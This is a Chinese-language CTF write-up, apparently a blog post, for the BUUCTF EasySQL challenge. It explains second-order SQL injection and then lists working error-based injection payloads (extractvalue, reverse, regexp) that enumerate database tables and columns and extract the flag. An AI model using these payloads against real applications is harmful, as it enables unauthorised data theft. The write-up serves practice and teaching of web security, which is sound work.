【BUUCTF】[RCTF2015]EasySQL1

二次注入原理

是一种比较隐蔽的 SQL 注入类型

用户输入的数据先被存储到数据库中(此时可能未被恶意利用),后续应用程序从数据库中读取该数据并再次使用在 SQL 查询中,而此时就可能导致 SQL 注入问题。

如,用户注册时输入用户名 admin'-- ,这个数据被存储到数据库。之后,在修改密码等操作中,系统从数据库读取这个用户名并构建 SQL 语句,如 SELECT * FROM users WHERE username = '$username' ,这时就会引发注入。

进入题目页面,有登录、注册两个选择

先进入注册页面,尝试admin但是显示用户已存在

故随便输一个用户名密码邮箱

注册后进入登录页面,登陆后点击用户名可以看到change password

可以改密码,猜测是二次注入

在源码中发现应该是报错注入

利用字典爆破关键字看哪些被过滤了

extractvalue函数关键字未被注释,进行报错注入

爆出表名

1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

爆出flag表的字段

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

爆出flag字段的内容

1"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

居然有诈qyq

试一试另一个表users

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#

发现here只显示her,未全部显示,因为 extractvalue函数最多显示32位,故使用 reverse()函数,将回显结果倒置

1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

爆出内容flag

采用正则注入

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

逆向输出

1"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

组合得到flag:flag{4acbc4b8-4f30-40ea-a840-98ac491a8b02}

相关推荐
云水一下1 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
一隅论数智1 天前
给AI一张“业务概念地图“:本体如何从哲学走向企业智能
大数据·人工智能·经验分享·笔记·学习·学习方法·政务
虎头金猫1 天前
4K 视频总卡在公网带宽?用 N1 + OpenList 把网盘播放链路重新理顺
运维·服务器·网络·python·容器·beautifulsoup·pandas
小白男神1 天前
MySQL进阶学习四(存储过程、游标、触发器)
mysql
这个DBA有点耶2 天前
MVCC深入:Read View、版本链与快照读——InnoDB并发控制的内核
数据库·mysql·架构
DBA_G2 天前
从地面到云霄:GBase数据库在民航三大场景的落地实践
数据库
自由能燃气设备2 天前
商用全预混低氮冷凝锅炉免费方案vs付费方案对比+选型避坑指南
大数据·数据库·人工智能
科创致远2 天前
科创致远 ESOP 系统核心效能与实战价值展示
大数据·数据库·人工智能·精益工程
深圳老胡2 天前
STM32F407 控制 L6470 步进电机驱动 —— 控制过程简介
笔记·stm32·单片机·嵌入式硬件·代码规范
龙亘川2 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务